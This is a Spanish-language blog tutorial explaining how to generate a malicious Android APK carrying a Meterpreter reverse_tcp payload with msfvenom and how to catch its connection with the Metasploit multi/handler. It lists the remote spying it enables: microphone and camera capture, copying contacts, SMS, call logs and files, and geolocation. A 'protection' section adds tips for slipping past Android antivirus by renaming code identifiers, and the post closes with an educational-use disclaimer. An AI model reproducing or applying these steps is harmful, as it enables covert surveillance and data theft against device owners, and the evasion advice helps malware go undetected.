Exploit en Android

¿Que es un Exploit? 

Es un fragmento de datos, código o una serie de acciones, que nos permiten aprovechar las vulnerabilidades de seguridad en un sistema de información. En el caso de la ing social, se considera que las técnicas que se aplican para llevar a cabo esta actividad son un exploit aplicado a una persona o un grupo social.

Por lo general un exploit se aplica principalmente para:
- Obtener acceso a un sistema de forma no autorizada
- Tomar el control de un sistema de computo o de cualquier otro tipo
- Consecución de privilegios no concedidos lícitamente
entre otros.

En el caso de android, existen diferentes problemas de seguridad como cualquier otro sistema, ya que hay puertas que no se pueden cerrar si queremos que el sistema sea totalmente funcional. Lo primero que debemos conocer antes de ingresar al mundo de Exploit en Android, es el formato apk.

Formato .APK

El formato .APK(Android Application Packege), es el formato utilizado para instalar paquetes en este sistema, asi como en Windows es el ejecutable .EXE

Root

El root o permiso de superusuario es la configuración que aplicada al sistema android nos permite modificar casi cualquier parte del sistema como cambiar la rom preinstalada por una con componentes diferentes, el espacio de almacenamiento de aplicaciones, es decir, tendríamos acceso a casi cualquier cambio del sistema del dispositivo

Pero ¿Que tiene que ver esto con un exploit?. Pues bien, el formato .APK sera la forma que utilizaremos en este caso para vulnerar un dispositivo android, y el permiso root es un factor clave en este proceso por que dependiendo de este tendremos acceso a la mayoria de las acciones que nos permite el payload que crearemos. 

Comenzaremos por conocer una herramienta muy utilizada no solo para android, sino para crear payload para casi cualquier sistema

Metasploit Framework

Esta herramienta es una de las mas utilizadas para desarrollar y ejecutar exploit, esta disponible en multiplataforma, pero en este caso la usaremos en Kali 2 (GNU/Linux) ya que el sistema la tiene preinstalada y es mas rapido y sencillo usarla con solo instalar la distribucion.

¡¡Comencemos!! 

Como ya sabemos el sistema trae el framework preinstalado, con lo cual al encender la maquina todos los servicios referentes a este se inicial
Iniciamos la Terminal del sistema y la primera linea de código que ingresaremos sera la siguiente:


Desglosemos la linea que vemos en la imagen para conocer sus partes:

1) Msfvenom : palabra reservada para hacer saber al sistema que nos referimos a metasploit framework

2) -p : especifica que se creara un payload (Código malicioso que hara la conexión al pc desde android )

3) android/meterpreter/reverse_tcp: Es el tipo de payload que vamos a utilizar, dependiendo del sistema cambiaria su nombre, todo dependiendo del tipo de accion que realicemos, en este caso es una coneccion reversa

4) LHOST : dirección ip de la maquina que recibe la coneccion (direccion local 192.168.1.110, ya que la conexión sera dentro de mi red)

5) LPORT : puerto abierto para la conexión (8080)

6) /root/Escritorio/Metalapp.apk : directorio y nombre del archivo .APK que sera creado, en este caso el directorio es /root/Escritorio, y el nombre del archivo sera Metalapp.apk.

al dar en ENTER, el framework ejecuta la accion que le pedimos, creando el archivo en el directorio que colocamos 


Como vemos en la imagen se encuentra el archivo en el Escritorio como queríamos y ademas en el terminal nos muestra mas información acerca del APK ya terminado

El siguiente paso en este proceso es abrir la consola del metasploit framework con la linea msfconsole


Y el sistema comienza a cargar los componente y conexiones para iniciar la consola del framework. El ultimo paso por ahora en el pc es iniciar el exploit para comenzar a escuchar la conexion y aprovechar el payload


Y podemos observar que tenemos la consola del metasploit a espera de las instrucciones, que en este caso seran para recibir la conexión desde el Android que vulneramos con el payload

La primera linea es un comando para que el framework nos permita configurar y ejecutar el payload y comenzar a recibir la conexión

use multi/handler

luego configuramos el puerto y la dirección ip tal o como lo colocamos al principio al crear el payload

set LHOST 192.168.1.110
set LPORT 8080

y por ultimo con la instrucción exploit, ejecutamos el payload remotamente y esperamos que el dispositivo android instale e inicie el apk 

luego que el dispositivo y la pc estan conectados podemos observar que tenemos multiples opciones para utilizar remotamente entre las cuales encontramos:

  • Ejecutar un comando linux
  • Ver informacion del sistema
  • Grabar el microfono
  • Video chat
  • Tomar fotografia
  • Ver la camara en tiempo real
  • Verificar si el dispositivo tiene permisos root
  • Copiar la lista de llamadas
  • Copiar la lista de contactos
  • Copiar los mensajes de texto
  • Geolocalizar el dispositivo
  • Incluso mediante los comandos, podemos copiar cualquier archivo del dispositivo vulnerado

Todo esto esta sujeto a permisos del sistema, es decir, si el sistema no tiene permisos root tendremos algunas de estas opciones bloqueadas

¿Como protegernos?
Para protegernos de esta vulnerabilidad podemos tomar en cuenta algunas recomendaciones:


1) Lo principal es no descargar aplicaciones que procedan de fuentes dudosas, sino de tiendas conocidas y de esta manera corremos menos riesgo a que sea maliciosa. Ademas tenemos la opción que nos da android de desactivar el permiso para instalar aplicaciones de fuentes desconocidas, esta opción se encuentra en el apartado de Seguridad dentro de la configuración del sistema android, y lo que hace es mostrar un mensaje de advertencia al momento de instalar una aplicación que no esta firmada correctamente 

2) Permiso Root: Si bien el rooteo permite sacarle el mayor provecho al sistema, tambien nos deja vulnerables a este tipo de amenazas, es decir, si adquirimos un dispositivo con Android, podemos realizar el rooteo, pero debemos tener en cuenta lo expuestos que estamos y cambiar la manera en la que utilizamos en sistema para no exponernos excesivamente

3)Antivirus: Existen muchos antivirus para android, en general son casi igual de poco efectivos. Recientemente en una conferencia se dio a conocer el funcionamiento de un antivirus de una de las empresas mas famosos del momento, ESET, y es que cuando adquirimos un antivirus esperamos que sea eficaz, pero esto en android no es del todo efectivo. Este antivirus y muchos otros, al momento de analizar un archivo apk en realidad solamente busca palabras clave que puedan demostrar que el sistema corre riesgo, por ejemplo:

Al crear un exploit en metasploit framework, este tiene en cada lugar del código nombres como Exploit, pentesting y ese tipo de lineas de texto, y el antivirus obviamente al encontrar estas palabras lo clasifica como un archivo malicioso.

En este caso bastaría con renombrar todas las librerías y variables dentro del código a otro nombre para hacerle bypass a la mayoría de los antivirus de este sistema

Pero ¿A que se debe esto?¿Por que el antivirus no realiza un análisis mas profundo? En realidad todo se debe a que los permisos para analizar mas a fondo las aplicaciones no estan concedidos, es decir, el sistema no es root, pero en realidad aunque el dispositivo sea root no lograra que el antivirus sea mas eficaz, ya que en si el mismo antivirus no esta preparado para utilizar estos permisos de superusuario, asumiendo que ningún dispositivo estará rooteado

3) Otro factor importante en esta vulnerabilidad es la ingeniería social, como ya sabemos en cualquier caso se puede aplicar esta técnica para hacer caer a una victima en la trampa, y en este caso no es excepción, así que hay que estar muy atentos a las personas de nuestro alrededor y comprender que intensiones tiene una persona al momento de intercambiar información con el/ella 

Por ultimo podemos acotar que toda esta información tiene fines educativos y de pentesting, de ninguna manera apoyamos el uso de esta tecnología y métodos con finalidades ilícitas, al contrario si mayor cantidad de personas obtiene esta información, menor sera la cantidad de victimas de algún exploit

Si deseas puedes DESCARGAR METASPLOIT FRAMEWORK directamente en la pagina oficial
Compartir:

3 comentarios:

  1. Muy bueno , muchas gracias

    ResponderEliminar
  2. Excelente artículo, Hnos de Fivezard. Gracias por compartir y socializar sus conocimientos y sabiduría. Bendiciones para TODOS.

    ResponderEliminar
  3. Muy buenas, cada cuanto salen articulos ?

    ResponderEliminar

Twitter fivezard

Con la tecnología de Blogger.